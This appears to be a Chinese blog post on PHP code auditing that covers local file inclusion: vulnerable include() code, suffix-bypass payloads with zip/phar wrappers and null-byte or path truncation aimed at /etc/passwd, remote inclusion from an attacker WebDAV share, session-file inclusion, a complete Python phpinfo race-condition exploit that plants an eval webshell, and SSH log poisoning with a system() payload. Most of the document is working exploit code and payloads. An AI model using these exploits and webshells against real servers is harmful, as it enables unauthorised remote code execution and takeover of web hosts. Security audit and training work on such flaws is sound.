PHP代码审计 文件包含专题

淩亂°似流年 2022-10-27 13:49 250阅读 0赞

基础分析

LFI
任意文件包含原理源码:即对包含文件没有进行过滤导致

  1. <? php
  2. $f = $_GET['f'];
  3. include_once('sys/config.php');
  4. include($f);
  5. ?>
  6. 或者
  7. <?php
  8. include($_GET['f']);
  9. ?>

LFI漏洞利用思路总结

利用条件:

在php.ini文件中配置两个参数相关的协议
allow_url_fopen :on 默认开启 该选项为on便是激活了 URL 形式的 fopen 封装协议使得可以访问 URL 对象文件等。
allow_url_include:off 默认关闭,该选项为on便是允许 包含URL 对象文件等。
在这里插入图片描述

特殊技巧

技巧1.存在文件包含时,但限制后缀时的包含技巧

  1. <?php
  2. $file = $_GET['file'].".php";
  3. include($file);
  4. ?>
  5. #如上面的包含
  6. #绕过思路1-->可以利用zip伪协议或者phar伪协议的思路去绕
  7. zip://a.png%23a
  8. phar://shell.png/shell
  9. #打包一个a.php的内容为a.zip,然后把a.zip改为a.png然后构造伪协议读取就ok了
  10. #绕过思路2-->利用截断思路去绕
  11. #几个典型的
  12. ?file=C://Windows//win.ini%00 (window,magic_quotes_gpc=off,网络上盛传PHP小于5.3.4有效,未完全进行测试,亲测 PHP 5.2.17有效,PHP-5.3.29-nts无效)
  13. ?file==../../../../../../../../../etc/passwd%00 (需要 magic_quotes_gpc=off,PHP小于5.3.4有效)
  14. 路径长度截断:
  15. ?file=../../../../../../../../../etc/passwd/././././././.[…]/./././././.(php版本小于5.2.8(?)可以成功,linux需要文件名长于
  16. 4096,windows需要长于256)
  17. 点号截断:
  18. ?file=../../../../../../../../../boot.ini/………[…]…………(php版本小于5.2.8(?)可以成功,只适用windows,点号需要长于
  19. 256)

在这里插入图片描述
技巧2.allow_url_include 关闭时 Getshell

  1. 攻击机开启共享
  2. /1.php?file=//attacker/1.php
  3. 创建webdav服务,shell文件放入目录包含即可
  4. >docker run -v /root/webdav:/var/lib/dav -e ANONYMOUS\_METHODS=GET,OPTIONS,PROPFIND -e LOCATION=/webdav -p 80:80 --rm --name webdav bytemark/webdav
  5. Shell文件放入/root/webdav/data
  6. /1.php?file=//attacker/1.php

技巧3
session + lfi getshell

  1. session.upload\_progress.enabled启用时,文件上传会产生进度文件
  2. /var/lib/php5/sess\_
  3. /var/lib/php/sess\_

原理

技巧4
phpinfo+lfi getshell
原理
exp攻击

  1. #!/usr/bin/python
  2. import sys
  3. import threading
  4. import socket
  5. def setup(host, port):
  6. TAG="Security Test"
  7. PAYLOAD="""%s\r
  8. <?php file_put_contents('/tmp/g', '<?=eval($_REQUEST[1])?>')?>\r""" % TAG
  9. REQ1_DATA="""-----------------------------7dbff1ded0714\r
  10. Content-Disposition: form-data; name="dummyname"; filename="test.txt"\r
  11. Content-Type: text/plain\r
  12. \r
  13. %s
  14. -----------------------------7dbff1ded0714--\r""" % PAYLOAD
  15. padding="A" * 5000
  16. REQ1="""POST /phpinfo.php?a="""+padding+""" HTTP/1.1\r
  17. Cookie: PHPSESSID=q249llvfromc1or39t6tvnun42; othercookie="""+padding+"""\r
  18. HTTP_ACCEPT: """ + padding + """\r
  19. HTTP_USER_AGENT: """+padding+"""\r
  20. HTTP_ACCEPT_LANGUAGE: """+padding+"""\r
  21. HTTP_PRAGMA: """+padding+"""\r
  22. Content-Type: multipart/form-data; boundary=---------------------------7dbff1ded0714\r
  23. Content-Length: %s\r
  24. Host: %s\r
  25. \r
  26. %s""" %(len(REQ1_DATA),host,REQ1_DATA)
  27. #modify this to suit the LFI script
  28. LFIREQ="""GET /lfi.php?file=%s HTTP/1.1\r
  29. User-Agent: Mozilla/4.0\r
  30. Proxy-Connection: Keep-Alive\r
  31. Host: %s\r
  32. \r
  33. \r
  34. """
  35. return (REQ1, TAG, LFIREQ)
  36. def phpInfoLFI(host, port, phpinforeq, offset, lfireq, tag):
  37. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  38. s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  39. s.connect((host, port))
  40. s2.connect((host, port))
  41. s.send(phpinforeq)
  42. d = ""
  43. while len(d) < offset:
  44. d += s.recv(offset)
  45. try:
  46. i = d.index("[tmp_name] => ")
  47. fn = d[i+17:i+31]
  48. except ValueError:
  49. return None
  50. s2.send(lfireq % (fn, host))
  51. d = s2.recv(4096)
  52. s.close()
  53. s2.close()
  54. if d.find(tag) != -1:
  55. return fn
  56. counter=0
  57. class ThreadWorker(threading.Thread):
  58. def __init__(self, e, l, m, *args):
  59. threading.Thread.__init__(self)
  60. self.event = e
  61. self.lock = l
  62. self.maxattempts = m
  63. self.args = args
  64. def run(self):
  65. global counter
  66. while not self.event.is_set():
  67. with self.lock:
  68. if counter >= self.maxattempts:
  69. return
  70. counter+=1
  71. try:
  72. x = phpInfoLFI(*self.args)
  73. if self.event.is_set():
  74. break
  75. if x:
  76. print "\nGot it! Shell created in /tmp/g"
  77. self.event.set()
  78. except socket.error:
  79. return
  80. def getOffset(host, port, phpinforeq):
  81. """Gets offset of tmp_name in the php output"""
  82. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  83. s.connect((host,port))
  84. s.send(phpinforeq)
  85. d = ""
  86. while True:
  87. i = s.recv(4096)
  88. d+=i
  89. if i == "":
  90. break
  91. # detect the final chunk
  92. if i.endswith("0\r\n\r\n"):
  93. break
  94. s.close()
  95. i = d.find("[tmp_name] => ")
  96. if i == -1:
  97. raise ValueError("No php tmp_name in phpinfo output")
  98. print "found %s at %i" % (d[i:i+10],i)
  99. # padded up a bit
  100. return i+256
  101. def main():
  102. print "LFI With PHPInfo()"
  103. print "-=" * 30
  104. if len(sys.argv) < 2:
  105. print "Usage: %s host [port] [threads]" % sys.argv[0]
  106. sys.exit(1)
  107. try:
  108. host = socket.gethostbyname(sys.argv[1])
  109. except socket.error, e:
  110. print "Error with hostname %s: %s" % (sys.argv[1], e)
  111. sys.exit(1)
  112. port=80
  113. try:
  114. port = int(sys.argv[2])
  115. except IndexError:
  116. pass
  117. except ValueError, e:
  118. print "Error with port %d: %s" % (sys.argv[2], e)
  119. sys.exit(1)
  120. poolsz=10
  121. try:
  122. poolsz = int(sys.argv[3])
  123. except IndexError:
  124. pass
  125. except ValueError, e:
  126. print "Error with poolsz %d: %s" % (sys.argv[3], e)
  127. sys.exit(1)
  128. print "Getting initial offset...",
  129. reqphp, tag, reqlfi = setup(host, port)
  130. offset = getOffset(host, port, reqphp)
  131. sys.stdout.flush()
  132. maxattempts = 1000
  133. e = threading.Event()
  134. l = threading.Lock()
  135. print "Spawning worker pool (%d)..." % poolsz
  136. sys.stdout.flush()
  137. tp = []
  138. for i in range(0,poolsz):
  139. tp.append(ThreadWorker(e,l,maxattempts, host, port, reqphp, offset, reqlfi, tag))
  140. for t in tp:
  141. t.start()
  142. try:
  143. while not e.wait(1):
  144. if e.is_set():
  145. break
  146. with l:
  147. sys.stdout.write( "\r% 4d / % 4d" % (counter, maxattempts))
  148. sys.stdout.flush()
  149. if counter >= maxattempts:
  150. break
  151. print
  152. if e.is_set():
  153. print "Woot! \m/"
  154. else:
  155. print ":("
  156. except KeyboardInterrupt:
  157. print "\nTelling threads to shutdown..."
  158. e.set()
  159. print "Shuttin' down..."
  160. for t in tp:
  161. t.join()
  162. if __name__=="__main__":
  163. main()

技巧5
LFI SSH Log

  1. \>ssh '<?php system($\_GET\['c'\]); ?>'@192.168.0.107
  2. >http://192.168.0.107/lfi.php?file=/var/log/auth.log&c=ls

发表评论

表情:
评论列表 (有 0 条评论,250人围观)

还没有评论,来说两句吧...

相关阅读

    相关 php代码审计(2)

    这个语言怎么这么没有节操。。我感觉它是什么框架都有自己的特色,然后特色多起来自成一派加入新版本里去了就。框架还好几个。大杂烩啊。不愧是脚本语言。 今天发现我太蠢了,应该跟着w

    相关 PHP 代码审计文件删除

    0x00:前言 CMS 后台很多栏目有上传文件功能,上传漏洞先暂时搁浅,在代码处理的时候,有删除旧文件这个操作,所以先审计下看有没有删除文件的漏洞。 0x01:代码追